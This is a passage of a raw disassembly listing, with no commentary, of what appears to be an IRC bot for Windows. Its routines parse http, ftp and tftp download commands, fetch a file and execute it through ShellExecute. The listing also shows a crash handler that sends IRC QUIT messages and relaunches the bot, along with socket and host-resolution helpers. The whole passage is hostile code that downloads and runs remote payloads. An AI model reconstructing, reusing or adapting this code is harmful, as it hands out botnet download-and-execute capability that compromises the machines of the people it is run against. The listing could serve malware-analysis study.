sub_402A32+1B1j mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] movsx eax, [ebp+eax+var_638] test eax, eax jz short loc_402C23 mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] movsx eax, [ebp+eax+var_638] cmp eax, 2Fh jnz short loc_402C7A loc_402C23: ; CODE XREF: sub_402A32+1D6j mov eax, [ebp+var_7E0] and [ebp+eax+var_6D5], 0 lea eax, [ebp+var_6D4] push eax call sub_40422A pop ecx test eax, eax jz short loc_402C75 mov eax, [ebp+var_6C0] lea eax, [ebp+eax+var_638] add eax, [ebp+var_7E0] push eax mov eax, [ebp+var_6C0] lea eax, [ebp+eax+var_638] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov [ebp+var_6C8], 1 loc_402C75: ; CODE XREF: sub_402A32+20Ej jmp loc_403251 ; --------------------------------------------------------------------------- loc_402C7A: ; CODE XREF: sub_402A32+1EFj mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] movsx eax, [ebp+eax+var_638] cmp eax, 30h jl short loc_402CCE mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] movsx eax, [ebp+eax+var_638] cmp eax, 39h jg short loc_402CCE mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] mov ecx, [ebp+var_7E0] mov al, [ebp+eax+var_638] mov [ebp+ecx+var_6D5], al jmp short loc_402CD3 ; --------------------------------------------------------------------------- loc_402CCE: ; CODE XREF: sub_402A32+25Fj ; sub_402A32+278j jmp loc_40324C ; --------------------------------------------------------------------------- loc_402CD3: ; CODE XREF: sub_402A32+29Aj jmp loc_402BE5 ; --------------------------------------------------------------------------- loc_402CD8: ; CODE XREF: sub_402A32+1A1j jmp loc_402BA8 ; --------------------------------------------------------------------------- loc_402CDD: ; CODE XREF: sub_402A32+18Aj ; sub_402A32:loc_40324Cj ... push 7 push offset aHttp ; "http://" lea eax, [ebp+var_638] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_402D37 cmp [ebp+var_6C8], 0 jnz short loc_402D13 push offset a80 ; "80" lea eax, [ebp+var_6D4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_402D13: ; CODE XREF: sub_402A32+2CCj lea eax, [ebp+var_631] push eax lea eax, [ebp+var_638] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov [ebp+var_6CC], 1 jmp loc_402E3D ; --------------------------------------------------------------------------- loc_402D37: ; CODE XREF: sub_402A32+2C3j push 6 push offset aFtp ; "ftp://" lea eax, [ebp+var_638] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_402DB7 cmp [ebp+var_6C8], 0 jnz short loc_402D6D push offset a21 ; "21" lea eax, [ebp+var_6D4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_402D6D: ; CODE XREF: sub_402A32+326j lea eax, [ebp+var_632] push eax lea eax, [ebp+var_638] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov [ebp+var_6CC], 2 push offset aAnonymous ; "anonymous" lea eax, [ebp+var_284] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset aAnonymous ; "anonymous" lea eax, [ebp+var_6BC] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp loc_402E3D ; --------------------------------------------------------------------------- loc_402DB7: ; CODE XREF: sub_402A32+31Dj push 7 push offset aTftp ; "tftp://" lea eax, [ebp+var_638] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_402E0E cmp [ebp+var_6C8], 0 jnz short loc_402DED push offset a69 ; "69" lea eax, [ebp+var_6D4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_402DED: ; CODE XREF: sub_402A32+3A6j lea eax, [ebp+var_631] push eax lea eax, [ebp+var_638] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov [ebp+var_6CC], 3 jmp short loc_402E3D ; --------------------------------------------------------------------------- loc_402E0E: ; CODE XREF: sub_402A32+39Dj mov eax, [ebp+var_63C] push dword ptr [eax] push offset unk_418500 lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 0Ch push [ebp+var_63C] call sub_409763 pop ecx xor eax, eax jmp loc_40325B ; --------------------------------------------------------------------------- loc_402E3D: ; CODE XREF: sub_402A32+300j ; sub_402A32+380j ... lea eax, [ebp+var_638] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_6C0], eax jmp short loc_402E5F ; --------------------------------------------------------------------------- loc_402E52: ; CODE XREF: sub_402A32:loc_402F11j mov eax, [ebp+var_6C0] dec eax mov [ebp+var_6C0], eax loc_402E5F: ; CODE XREF: sub_402A32+41Ej cmp [ebp+var_6C0], 0FFFFFFFFh jz loc_402F16 mov eax, [ebp+var_6C0] movsx eax, [ebp+eax+var_638] cmp eax, 40h jnz loc_402F11 mov eax, [ebp+var_6C0] and [ebp+eax+var_638], 0 push offset asc_4184FC ; ":" lea eax, [ebp+var_638] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_7E4], eax cmp [ebp+var_7E4], 0 jz short loc_402ED8 mov eax, [ebp+var_7E4] and byte ptr [eax], 0 push 80h mov eax, [ebp+var_7E4] inc eax push eax lea eax, [ebp+var_6BC] push eax call sub_407A56 add esp, 0Ch loc_402ED8: ; CODE XREF: sub_402A32+47Fj push 80h lea eax, [ebp+var_638] push eax lea eax, [ebp+var_284] push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_6C0] lea eax, [ebp+eax+var_637] push eax lea eax, [ebp+var_638] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_402F16 ; --------------------------------------------------------------------------- loc_402F11: ; CODE XREF: sub_402A32+44Bj jmp loc_402E52 ; --------------------------------------------------------------------------- loc_402F16: ; CODE XREF: sub_402A32+434j ; sub_402A32+4DDj push offset asc_4184F8 ; "/" lea eax, [ebp+var_638] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_288], eax cmp [ebp+var_288], 0 jnz short loc_402F67 mov eax, [ebp+var_63C] push dword ptr [eax] push offset unk_4184CC lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 0Ch push [ebp+var_63C] call sub_409763 pop ecx xor eax, eax jmp loc_40325B ; --------------------------------------------------------------------------- loc_402F67: ; CODE XREF: sub_402A32+504j mov eax, [ebp+var_288] inc eax push eax lea eax, [ebp+var_204] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_288] and byte ptr [eax], 0 lea eax, [ebp+var_638] push eax lea eax, [ebp+var_100] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx call sub_416B64 ; clock mov [ebp-6D8h], eax and [ebp+var_6C4], 0 cmp [ebp+var_6CC], 1 jnz short loc_403009 push [ebp+var_63C] movsx eax, [ebp+var_2A8] neg eax sbb eax, eax neg eax push eax lea eax, [ebp+var_6C4] push eax lea eax, [ebp+var_534] push eax lea eax, [ebp+var_204] push eax lea eax, [ebp+var_6D4] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_6BC] push eax lea eax, [ebp+var_284] push eax call sub_402698 add esp, 24h mov [ebp+var_28C], eax loc_403009: ; CODE XREF: sub_402A32+582j cmp [ebp+var_6CC], 2 jnz short loc_403065 push [ebp+var_63C] movsx eax, [ebp+var_2A8] neg eax sbb eax, eax neg eax push eax lea eax, [ebp+var_6C4] push eax lea eax, [ebp+var_534] push eax lea eax, [ebp+var_204] push eax lea eax, [ebp+var_6D4] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_6BC] push eax lea eax, [ebp+var_284] push eax call sub_402A24 add esp, 24h mov [ebp+var_28C], eax loc_403065: ; CODE XREF: sub_402A32+5DEj cmp [ebp+var_6CC], 3 jnz short loc_4030B3 push [ebp+var_63C] movsx eax, [ebp+var_2A8] neg eax sbb eax, eax neg eax push eax lea eax, [ebp+var_6C4] push eax lea eax, [ebp+var_534] push eax lea eax, [ebp+var_204] push eax lea eax, [ebp+var_6D4] push eax lea eax, [ebp+var_100] push eax call sub_402A2B add esp, 1Ch mov [ebp+var_28C], eax loc_4030B3: ; CODE XREF: sub_402A32+63Aj ; sub_402A32:loc_403256j cmp [ebp+var_28C], 1 jnz loc_403219 movsx eax, [ebp+var_296] test eax, eax jz short loc_4030D7 mov [ebp+var_7EC], offset dword_4184C0 jmp short loc_403104 ; --------------------------------------------------------------------------- loc_4030D7: ; CODE XREF: sub_402A32+697j movsx eax, [ebp+var_2A6] test eax, eax jz short loc_4030EE mov [ebp+var_7F0], offset dword_4184B4 jmp short loc_4030F8 ; --------------------------------------------------------------------------- loc_4030EE: ; CODE XREF: sub_402A32+6AEj mov [ebp+var_7F0], offset byte_41DE00 loc_4030F8: ; CODE XREF: sub_402A32+6BAj mov eax, [ebp+var_7F0] mov [ebp+var_7EC], eax loc_403104: ; CODE XREF: sub_402A32+6A3j push [ebp+var_7EC] mov eax, [ebp+var_6C4] shr eax, 0Ah mov dword ptr [ebp+var_7F8], eax and dword ptr [ebp+var_7F8+4], 0 fild [ebp+var_7F8] fstp [ebp+var_7FC] call sub_416B64 ; clock sub eax, [ebp-6D8h] mov dword ptr [ebp+var_804], eax and dword ptr [ebp+var_804+4], 0 fild [ebp+var_804] fdiv flt_417270 fdivr [ebp+var_7FC] push ecx push ecx fstp [esp+814h+var_814] lea eax, [ebp+var_534] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_41846C lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 1Ch movsx eax, [ebp+var_2A7] test eax, eax jz short loc_403198 lea eax, [ebp+var_534] push eax call dword_4170AC ; DeleteFileA jmp short loc_403217 ; --------------------------------------------------------------------------- loc_403198: ; CODE XREF: sub_402A32+755j movsx eax, [ebp+var_2A6] test eax, eax jnz short loc_4031AE movsx eax, [ebp+var_296] test eax, eax jz short loc_403217 loc_4031AE: ; CODE XREF: sub_402A32+76Fj movsx eax, [ebp+var_2A3] neg eax sbb eax, eax inc eax push eax push 0 push 0 lea eax, [ebp+var_534] push eax push offset aOpen ; "open" push 0 call dword_4171D0 mov [ebp+var_7E8], eax cmp [ebp+var_7E8], 20h jbe short loc_4031F4 movsx eax, [ebp+var_296] test eax, eax jz short loc_4031F2 call sub_407148 loc_4031F2: ; CODE XREF: sub_402A32+7B9j jmp short loc_403217 ; --------------------------------------------------------------------------- loc_4031F4: ; CODE XREF: sub_402A32+7AEj lea eax, [ebp+var_534] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_418444 lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h loc_403217: ; CODE XREF: sub_402A32+764j ; sub_402A32+77Aj ... jmp short loc_40323C ; --------------------------------------------------------------------------- loc_403219: ; CODE XREF: sub_402A32+688j lea eax, [ebp+var_7DC] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_418414 lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h loc_40323C: ; CODE XREF: sub_402A32:loc_403217j push [ebp+var_63C] call sub_409763 pop ecx xor eax, eax jmp short loc_40325B ; --------------------------------------------------------------------------- loc_40324C: ; CODE XREF: sub_402A32:loc_402CCEj jmp loc_402CDD ; --------------------------------------------------------------------------- loc_403251: ; CODE XREF: sub_402A32:loc_402C75j jmp loc_402CDD ; --------------------------------------------------------------------------- loc_403256: ; CODE XREF: sub_402A32:loc_402B8Ej jmp loc_4030B3 ; --------------------------------------------------------------------------- loc_40325B: ; CODE XREF: sub_402A32+157j ; sub_402A32+406j ... pop edi leave retn 4 sub_402A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403260 proc near ; CODE XREF: sub_40A9CF+959p var_14 = dword ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h cmp [ebp+arg_4], 0 jnz short loc_403271 jmp locret_403329 ; --------------------------------------------------------------------------- loc_403271: ; CODE XREF: sub_403260+Aj push 3AFh call sub_416B46 ; malloc pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_40328A jmp locret_403329 ; --------------------------------------------------------------------------- loc_40328A: ; CODE XREF: sub_403260+23j push 8 push 7Ah push 61h push 4 lea eax, [ebp+var_10] push eax call sub_410501 add esp, 14h and [ebp+eax+var_10], 0 push offset dword_418620 lea eax, [ebp+var_10] push eax call sub_416B70 ; _mbscat pop ecx pop ecx cmp [ebp+arg_8], 0 jnz short loc_4032BF lea eax, [ebp+var_10] mov [ebp+arg_8], eax loc_4032BF: ; CODE XREF: sub_403260+57j push 104h push [ebp+arg_4] mov eax, [ebp+var_14] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 104h push [ebp+arg_8] mov eax, [ebp+var_14] add eax, 108h push eax call sub_407A56 add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_14] add eax, 20Ch push eax call sub_405F67 pop ecx pop ecx mov eax, [ebp+var_14] add eax, 108h push eax mov eax, [ebp+var_14] add eax, 4 push eax push offset dword_4185FC push 0 push [ebp+var_14] push offset sub_402A32 call sub_4095A4 add esp, 18h locret_403329: ; CODE XREF: sub_403260+Cj ; sub_403260+25j leave retn sub_403260 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40332B proc near ; CODE XREF: sub_4093B6+A0p ; sub_4094E6+9Bp ... var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 114h push 1 push offset dword_41DE0C call sub_409C88 pop ecx pop ecx mov [ebp+var_4], eax cmp dword_41DE08, 0 jz loc_4034D9 mov [ebp+var_8], offset aException_othe ; "EXCEPTION_OTHER" mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax] mov [ebp+var_110], eax cmp [ebp+var_110], 0C0000025h ja short loc_4033A4 cmp [ebp+var_110], 0C0000025h jz short loc_4033FA cmp [ebp+var_110], 80000003h jz short loc_4033DF cmp [ebp+var_110], 0C0000005h jz short loc_4033D6 cmp [ebp+var_110], 0C000001Dh jz short loc_4033E8 jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033A4: ; CODE XREF: sub_40332B+45j cmp [ebp+var_110], 0C000008Dh jb short loc_403413 cmp [ebp+var_110], 0C0000093h jbe short loc_40340C cmp [ebp+var_110], 0C0000094h jz short loc_4033F1 cmp [ebp+var_110], 0C00000FDh jz short loc_403403 jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033D6: ; CODE XREF: sub_40332B+69j mov [ebp+var_8], offset aException_acce ; "EXCEPTION_ACCESS_VIOLATION" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033DF: ; CODE XREF: sub_40332B+5Dj mov [ebp+var_8], offset aException_brea ; "EXCEPTION_BREAKPOINT" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033E8: ; CODE XREF: sub_40332B+75j mov [ebp+var_8], offset aException_ille ; "EXCEPTION_ILLEGAL_INSTRUCTION" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033F1: ; CODE XREF: sub_40332B+9Bj mov [ebp+var_8], offset aException_int_ ; "EXCEPTION_INT_DIVIDE_BY_ZERO" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033FA: ; CODE XREF: sub_40332B+51j mov [ebp+var_8], offset aException_nonc ; "EXCEPTION_NONCONTINUABLE_EXCEPTION" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_403403: ; CODE XREF: sub_40332B+A7j mov [ebp+var_8], offset aException_stac ; "EXCEPTION_STACK_OVERFLOW" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_40340C: ; CODE XREF: sub_40332B+8Fj mov [ebp+var_8], offset aException_flt ; "EXCEPTION_FLT" loc_403413: ; CODE XREF: sub_40332B+77j ; sub_40332B+83j ... mov eax, [ebp+arg_0] mov eax, [eax] cmp dword ptr [eax+4], 1 jnz short loc_40342A mov [ebp+var_114], offset aRestarting ; "Restarting" jmp short loc_403434 ; --------------------------------------------------------------------------- loc_40342A: ; CODE XREF: sub_40332B+F1j mov [ebp+var_114], offset aContinuing ; "Continuing" loc_403434: ; CODE XREF: sub_40332B+FDj push [ebp+var_114] push [ebp+var_8] mov eax, [ebp+arg_0] mov eax, [eax] push dword ptr [eax] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0C0h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B8h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0C4h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B4h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+9Ch] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0A0h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0A8h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0ACh] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0A4h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B0h] mov eax, [ebp+var_4] inc eax push eax push [ebp+arg_8] push [ebp+arg_4] push offset dword_41864C push offset dword_41DA80 call sub_40D4AB add esp, 48h loc_4034D9: ; CODE XREF: sub_40332B+21j mov eax, [ebp+var_4] inc eax cmp eax, 64h jz short loc_4034ED mov eax, [ebp+arg_0] mov eax, [eax] cmp dword ptr [eax+4], 1 jnz short loc_403558 loc_4034ED: ; CODE XREF: sub_40332B+1B5j push 104h lea eax, [ebp+var_10C] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA test eax, eax jz short loc_403545 push 0 push 0 push 0 lea eax, [ebp+var_10C] push eax push offset aOpen ; "open" push 0 call dword_4171D0 cmp eax, 20h ja short loc_403538 push offset aQuitExitting ; "QUIT :exitting" call sub_40D6CB pop ecx jmp short loc_403543 ; --------------------------------------------------------------------------- loc_403538: ; CODE XREF: sub_40332B+1FEj push offset aQuitRestarting ; "QUIT :restarting" call sub_40D6CB pop ecx loc_403543: ; CODE XREF: sub_40332B+20Bj jmp short loc_403550 ; --------------------------------------------------------------------------- loc_403545: ; CODE XREF: sub_40332B+1DFj push offset aQuitRestarting ; "QUIT :restarting" call sub_40D6CB pop ecx loc_403550: ; CODE XREF: sub_40332B:loc_403543j push 0 call dword_41705C ; ExitProcess loc_403558: ; CODE XREF: sub_40332B+1C0j mov eax, [ebp+arg_0] mov eax, [eax] cmp dword ptr [eax], 80000003h jnz short loc_403583 mov eax, [ebp+arg_0] mov eax, [eax+4] mov eax, [eax+0B8h] inc eax mov ecx, [ebp+arg_0] mov ecx, [ecx+4] mov [ecx+0B8h], eax or eax, 0FFFFFFFFh jmp short locret_403586 ; --------------------------------------------------------------------------- loc_403583: ; CODE XREF: sub_40332B+238j push 1 pop eax locret_403586: ; CODE XREF: sub_40332B+256j leave retn sub_40332B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403588 proc near ; DATA XREF: sub_403BD3:loc_403D85o var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = dword ptr -2Ch var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 48h cmp [ebp+arg_8], 0 jz short loc_4035E2 mov eax, [ebp+arg_8] cmp dword ptr [eax+4], 0 jz short loc_4035BB mov eax, [ebp+arg_8] cmp dword ptr [eax+4], 2 jz short loc_4035BB push 273Fh call dword_417234 ; WSASetLastError mov eax, 273Fh jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4035BB: ; CODE XREF: sub_403588+13j ; sub_403588+1Cj mov eax, [ebp+arg_8] cmp dword ptr [eax+8], 1 jz short loc_4035E2 mov eax, [ebp+arg_8] cmp dword ptr [eax+8], 2 jz short loc_4035E2 push 273Ch call dword_417234 ; WSASetLastError mov eax, 273Ch jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4035E2: ; CODE XREF: sub_403588+Aj ; sub_403588+3Aj ... cmp [ebp+arg_0], 0 jnz loc_4036D6 push 30h call sub_416B46 ; malloc pop ecx mov [ebp+var_34], eax cmp [ebp+var_34], 0 jnz short loc_40360D push 8 call dword_417234 ; WSASetLastError push 8 pop eax jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_40360D: ; CODE XREF: sub_403588+73j push 30h push 0 push [ebp+var_34] call sub_416B6A ; memset add esp, 0Ch push 10h push 0 lea eax, [ebp+var_30] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_30], 2 cmp [ebp+arg_4], 0 jz short loc_40364C push [ebp+arg_4] call sub_416B9C ; atoi pop ecx push eax call dword_417238 ; htons mov [ebp+var_2E], ax loc_40364C: ; CODE XREF: sub_403588+AEj mov eax, [ebp+var_34] mov dword ptr [eax+4], 2 cmp [ebp+arg_8], 0 jz short loc_403667 mov eax, [ebp+arg_8] mov eax, [eax+8] mov [ebp+var_38], eax jmp short loc_40366E ; --------------------------------------------------------------------------- loc_403667: ; CODE XREF: sub_403588+D2j mov [ebp+var_38], 1 loc_40366E: ; CODE XREF: sub_403588+DDj mov eax, [ebp+var_34] mov ecx, [ebp+var_38] mov [eax+8], ecx cmp [ebp+arg_8], 0 jz short loc_403688 mov eax, [ebp+arg_8] mov eax, [eax+0Ch] mov [ebp+var_3C], eax jmp short loc_40368F ; --------------------------------------------------------------------------- loc_403688: ; CODE XREF: sub_403588+F3j mov [ebp+var_3C], 6 loc_40368F: ; CODE XREF: sub_403588+FEj mov eax, [ebp+var_34] mov ecx, [ebp+var_3C] mov [eax+0Ch], ecx mov eax, [ebp+var_34] mov dword ptr [eax+10h], 10h mov eax, [ebp+var_34] add eax, 20h mov ecx, [ebp+var_34] mov [ecx+18h], eax and [ebp+var_2C], 0 push 10h lea eax, [ebp+var_30] push eax mov eax, [ebp+var_34] add eax, 20h push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_C] mov ecx, [ebp+var_34] mov [eax], ecx xor eax, eax jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4036D6: ; CODE XREF: sub_403588+5Ej push [ebp+arg_0] call dword_41723C ; gethostbyname mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4036F2 mov eax, 2AFBh jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4036F2: ; CODE XREF: sub_403588+15Ej and [ebp+var_20], 0 jmp short loc_4036FF ; --------------------------------------------------------------------------- loc_4036F8: ; CODE XREF: sub_403588+18Cj mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_4036FF: ; CODE XREF: sub_403588+16Ej cmp [ebp+var_14], 0 jz short loc_403716 mov eax, [ebp+var_14] mov eax, [eax+0Ch] mov ecx, [ebp+var_20] cmp dword ptr [eax+ecx*4], 0 jz short loc_403716 jmp short loc_4036F8 ; --------------------------------------------------------------------------- loc_403716: ; CODE XREF: sub_403588+17Bj ; sub_403588+18Aj cmp [ebp+var_20], 0 jnz short loc_403726 mov eax, 2AFBh jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_403726: ; CODE XREF: sub_403588+192j mov eax, [ebp+var_20] imul eax, 30h push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_40374C push 8 call dword_417234 ; WSASetLastError push 8 pop eax jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_40374C: ; CODE XREF: sub_403588+1B2j mov eax, [ebp+var_20] imul eax, 30h push eax push 0 push [ebp+var_1C] call sub_416B6A ; memset add esp, 0Ch push 10h push 0 lea eax, [ebp+var_10] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_10], 2 cmp [ebp+arg_4], 0 jz short loc_403790 push [ebp+arg_4] call sub_416B9C ; atoi pop ecx push eax call dword_417238 ; htons mov [ebp+var_E], ax loc_403790: ; CODE XREF: sub_403588+1F2j and [ebp+var_18], 0 jmp short loc_40379D ; --------------------------------------------------------------------------- loc_403796: ; CODE XREF: sub_403588:loc_4038A7j mov eax, [ebp+var_18] inc eax mov [ebp+var_18], eax loc_40379D: ; CODE XREF: sub_403588+20Cj mov eax, [ebp+var_18] cmp eax, [ebp+var_20] jnb loc_4038AC cmp [ebp+arg_8], 0 jz short loc_4037B9 mov eax, [ebp+arg_8] mov eax, [eax] mov [ebp+var_40], eax jmp short loc_4037C0 ; --------------------------------------------------------------------------- loc_4037B9: ; CODE XREF: sub_403588+225j mov [ebp+var_40], 4 loc_4037C0: ; CODE XREF: sub_403588+22Fj mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov edx, [ebp+var_40] mov [ecx+eax], edx mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov dword ptr [ecx+eax+4], 2 cmp [ebp+arg_8], 0 jz short loc_4037F1 mov eax, [ebp+arg_8] mov eax, [eax+8] mov [ebp+var_44], eax jmp short loc_4037F8 ; --------------------------------------------------------------------------- loc_4037F1: ; CODE XREF: sub_403588+25Cj mov [ebp+var_44], 1 loc_4037F8: ; CODE XREF: sub_403588+267j mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov edx, [ebp+var_44] mov [ecx+eax+8], edx cmp [ebp+arg_8], 0 jz short loc_403819 mov eax, [ebp+arg_8] mov eax, [eax+0Ch] mov [ebp+var_48], eax jmp short loc_403820 ; --------------------------------------------------------------------------- loc_403819: ; CODE XREF: sub_403588+284j mov [ebp+var_48], 6 loc_403820: ; CODE XREF: sub_403588+28Fj mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov edx, [ebp+var_48] mov [ecx+eax+0Ch], edx mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov dword ptr [ecx+eax+10h], 10h mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] lea eax, [ecx+eax+20h] mov ecx, [ebp+var_18] imul ecx, 30h mov edx, [ebp+var_1C] mov [edx+ecx+18h], eax mov eax, [ebp+var_14] mov eax, [eax+0Ch] mov ecx, [ebp+var_18] mov eax, [eax+ecx*4] mov eax, [eax] mov [ebp+var_C], eax push 10h lea eax, [ebp+var_10] push eax mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] lea eax, [ecx+eax+20h] push eax call sub_416B52 ; memcpy add esp, 0Ch cmp [ebp+var_18], 0 jz short loc_4038A7 mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] add ecx, eax mov eax, [ebp+var_18] dec eax imul eax, 30h mov edx, [ebp+var_1C] mov [edx+eax+1Ch], ecx loc_4038A7: ; CODE XREF: sub_403588+304j jmp loc_403796 ; --------------------------------------------------------------------------- loc_4038AC: ; CODE XREF: sub_403588+21Bj mov eax, [ebp+arg_C] mov ecx, [ebp+var_1C] mov [eax], ecx xor eax, eax locret_4038B6: ; CODE XREF: sub_403588+2Ej ; sub_403588+55j ... leave retn 10h sub_403588 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4038BA proc near ; DATA XREF: sub_403BD3+1BCo var_434 = dword ptr -434h var_430 = byte ptr -430h var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 434h cmp [ebp+arg_8], 0 jnz short loc_4038CF cmp [ebp+arg_10], 0 jz short loc_4038D8 loc_4038CF: ; CODE XREF: sub_4038BA+Dj mov eax, [ebp+arg_18] and al, 0E0h test eax, eax jz short loc_4038ED loc_4038D8: ; CODE XREF: sub_4038BA+13j push 2726h call dword_417234 ; WSASetLastError mov eax, 2726h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_4038ED: ; CODE XREF: sub_4038BA+1Cj mov eax, [ebp+arg_0] mov [ebp+var_40C], eax mov eax, [ebp+var_40C] movsx eax, word ptr [eax] cmp eax, 2 jz short loc_403919 push 273Fh call dword_417234 ; WSASetLastError mov eax, 273Fh jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403919: ; CODE XREF: sub_4038BA+48j cmp [ebp+arg_8], 0 jz loc_403ABA mov eax, [ebp+var_40C] push dword ptr [eax+4] call dword_41721C ; inet_ntoa mov [ebp+var_434], eax cmp [ebp+var_434], 0 jnz short loc_403949 or eax, 0FFFFFFFFh jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403949: ; CODE XREF: sub_4038BA+85j push 401h push [ebp+var_434] lea eax, [ebp+var_404] push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+arg_18] and eax, 2 test eax, eax jz short loc_403972 jmp loc_403BB4 ; --------------------------------------------------------------------------- loc_403972: ; CODE XREF: sub_4038BA+B1j mov eax, [ebp+arg_18] and eax, 4 test eax, eax jz short loc_4039F4 push 0 push 4 mov eax, [ebp+var_40C] add eax, 4 push eax call dword_417220 ; gethostbyaddr mov [ebp+var_410], eax cmp [ebp+var_410], 0 jnz short loc_4039AA call dword_417224 ; WSAGetLastError jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_4039AA: ; CODE 